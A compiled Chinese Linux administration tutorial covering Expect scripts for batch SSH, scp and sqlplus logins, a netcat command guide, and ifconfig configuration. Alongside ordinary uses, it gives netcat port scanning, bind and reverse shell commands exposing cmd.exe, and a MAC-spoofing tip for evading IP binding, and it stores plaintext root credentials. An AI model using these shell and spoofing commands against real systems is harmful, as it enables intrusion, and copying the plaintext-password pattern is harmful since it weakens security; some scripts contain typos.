Expect 作为基于 Tcl 的高级语言,增加了一些特殊的语法。传统意义上的 Expect 是以 Tcl 扩展包的形式出现的,任何 Tcl 语言编写的应用程序都可以加载 Expect 功能;此外,Expect 已经以模块的方式移植到了 Perl 和 Python 语言中,因此用户同样可以在 Perl 和 Python 脚本中利用 Expect 强大的交互功能。
Send,expect 和 spwan 是 Expect 语言最基本的命令。其中,send 命令会发送字符串给指定进程(process); expect 命令会等待接受该进程返回的结果并且会根据返回的字符串来决定下一步的操作;而 spwan 命令可以发起一个进程的运行。
下面是使用expect进行批量自动化的相关操作的具体例子
1,从配置文件读入密码,并调用expect命令
[root@dtydb0 scripts]# cat expect.sh #!/bin/bash for i in `awk '{print $1}' passwd.txt` do j=`awk -v I="$i" '{if(I==$1)print $2}' passwd.txt` k=`awk -v I="$i" '{if(I==$1)print $3}' passwd.txt` expect login.exp $i $j $k done
2,密码文件,可以多台主机
cat passwd.txt
10.4.12.1 root root
10.4.12.2 root root
3, 实际工作的exp文件
3.1 用来ssh登录运行相关命令
cat login.exp
[root@dtydb0 scripts]# cat login.exp #!/usr/bin/expect -f set ipaddress [lindex $argv 0] set username [lindex $argv 1] set passwd [lindex $argv 2] if { $argc != 3 } { puts stderr $passwd puts stderr $username exit 1 } set timeout 30 #使用spawn命令来激活ssh程序,模拟终端的输出将能够被expect所读取,模拟终端也能从send输入到远程主机 spawn ssh $username@$ipaddress expect { "yes/no" { send "yes\r";exp_continue } "password:" { send "$passwd\r" } } #expect语句等待远程主机的字符串匹配,当匹配到了“yes/no”则执行后面的操作.expect搜索模式"*password:",其中*允许匹配 #任意输入,所以对于避免指定所有细节而言是非常有效的。如果远程主机没有action,所以expect检测到该模式后就继续运行。 一旦接 #收到提示后,下一行就就把密码送给当前进程。 expect "]*" send "date \r" send "sh test.sh\r" send "exit\r " send "exit\r " expect eof {exit 1}
3.2 scp 复制文件的例子
#!/usr/bin/expect -f set ipaddress [lindex $argv 0] set username [lindex $argv 1] set passwd [lindex $argv 2] if { $argc != 3 } { puts stderr $passwd puts stderr $username exit 1 } set timeout 30 spawn spawn scp -r /home/oracle/dba/scripts/ $username@$ipaddress:/home/oracle/dba/scripts expect { "yes/no" { send "yes\r";exp_continue } "$username@$ipaddress's password:" { send "$passwd\r" } } send "exit/r" expect eof
3.3 批量sqlplus操作例子
--oracle sqlplus [oracle@dtydb0 dailycheck]$ cat romote_daily_sqlplus.exp #!/usr/bin/expect -f set tnsname [lindex $argv 0] set username [lindex $argv 1] set passwd [lindex $argv 2] set timeout 30 spawn sqlplus $username/$passwd@$tnsname expect "SQL>" send "select * from dual;\r" expect "SQL>" puts "--------talbe spaces ----------" send "@/home/oracle/dba/scripts/showtbs.sql;\r" expect "SQL>" puts "--------top sql ----------" send "@/home/oracle/dba/scripts/ash_topsql.sql;\r" expect "SQL>" send "exit\r" expect eof
参考资料
http://www.ibm.com/developerworks/cn/aix/library/0909_jinjh_unixlogin/
语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参 数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 详细输出--用两个-v可得到更详细的内容
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
nc使用示例
1. 端口扫描 # nc -v -w 2 192.168.2.34 -z 21-24
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
2. 从192.168.2.33拷贝文件到192.168.2.34 在192.168.2.34上: nc -l 1234 > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt
3. 简单聊天工具 在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。
4. 用nc命令操作memcached 1)存储数据:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
2)获取数据:printf “get keyrn” |nc 192.168.2.34 11211
3)删除数据:printf “delete keyrn” |nc 192.168.2.34 11211
4)查看状态:printf “statsrn” |nc 192.168.2.34 11211
5)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34 11211
6)清空缓存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)
5. nc -p 1234 -w 5 host.example.com 80 建立从本地1234端口到host.example.com的80端口连接,5秒超时
nc -u host.example.com 53
u为UDP连接
6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80 连接到主机并执行
7. nc -v -z host.example.com 70-80 扫描端口(70到80),可指定范围。-v输出详细信息。
8. 远程拷贝文件
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,
server2上运行:
root@hatest2 tmp]# nc -lp 1234 > install.log
server1上运行:
[root@hatest1 ~]# ll install.log
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
9. 克隆硬盘或分区 操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:
# nc -l -p 1234 | dd of=/dev/sda
server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
# dd if=/dev/sda | nc 192.168.228.222 1234
※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。
10. 保存Web页面 # while true; do nc -l -p 80 -q 1 < somepage.html; done
11. 模拟HTTP Headers,获取网页源代码和返回头部信息
[root@hatest1 ~]# nc www.linuxso.com 80
GET / HTTP/1.1
Host: ispconfig.org
Referrer: mypage.com
User-Agent: my-browser
HTTP/1.1 200 OK
Date: Tue, 16 Dec 2008 07:23:24 GMT
Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8
Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Cache-Control: private, post-check=0, pre-check=0, max-age=0
Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。
12. 传输目录 从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
引用
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
server1上运行:
引用
[root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234
13.REMOTE主机绑定SHELL
例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
Linux下网卡命名规律:eth0,eth1。第一块以太网卡,第二块。lo为环回接口,它的IP地址固定为127.0.0.1,掩码8位。它代表你的机器本身。
1、ifconfig是查看网卡的信息。
ifconfig [Interface]
Interface是可选项,如果不加此项,则显示系统中所有网卡的信息。如果添加此选项则显示所指定的网卡信息
例如:ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:0C:29:F3:3B:F2 inet addr:192.168.0.10 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:78 errors:0 dropped:0 overruns:0 frame:0 TX packets:104 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:11679 (11.4 Kb) TX bytes:14077 (13.7 Kb) Interrupt:10 Base address:0x1080
我们可以看到
第一行:连接类型:Ethernet(以太网)HWaddr(硬件mac地址)
第二行:网卡的IP地址、子网、掩码
第三行:UP(代表网卡开启状态)RUNNING(代表网卡的网线被接上)MULTICAST(支持组播)MTU:1500(最大传输单元):1500字节
第四、五行:接收、发送数据包情况统计
第七行:接收、发送数据字节数统计信息。
2、ifconfig 配置网卡
语 法:ifconfig [网络设备] [down up -allmulti -arp -promisc] [add<地址>][del<地址>] [<hw<网络设备类型><硬件地址>] [io_addr<I/O地址>] [irq<IRQ地址>] [media<网络媒介类型>] [mem_start<内存地址>]
[metric<数目>] [mtu<字节>] [netmask<子网掩码>] [tunnel<地址>] [-broadcast<地址>] [-pointopoint<地址>] [IP地址]
配置网卡的IP地址
ifconfig eth0 192.168.0.1 netmask 255.255.255.0
在eth0上配置上192.168.0.1 的IP地址及24位掩码。若想再在eth0上在配置一个192.168.1.1/24 的IP地址怎么办?用下面的命令
ifconfig eth0:0 192.168.1.1 netmask 255.255.255.0
这时再用ifconifg命令查看,就可以看到两个网卡的信息了,分别为:eth0和eth0:0。若还想再增加IP,那网卡的命名就接着是:eth0:1、eth0:2...想要几个就填几个。ok!
配置网卡的硬件地址
ifconfig eth0 hw ether xx:xx:xx:xx:xx:xx
就将网卡的硬件地址更改了,此时你就可以骗过局域网内的IP地址邦定了。
比如我们设置网卡eth1的IP地址、网络掩码、广播地址,物理地址并且激活它;
ifconfig eth1 192.168.1.252 hw ether 00:11:00:00:11:11 netmask 255.255.255.0 broadcast 192.168.1.255 up
或
ifconfig eth1 hw ether 00:11:00:00:11:22
ifconfig eth1 192.168.1.252 netmask 255.255.255.0 broadcast 192.168.1.255 up
其中 hw 后面所接的是网络接口类型, ether表示乙太网, 同时也支持 ax25 、ARCnet、netrom等,详情请查看 man ifconfig ;
将网卡禁用
ifconfig eth0 down
或
ifdown eth0
将网卡启用
ifconfig eth0 up
或
ifup eth0
ifconfig 命令的功能很强大,还可以设置网卡的MTU,混杂模式等。就不一一介绍了,用时间可以自己研究一下。
注意:用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了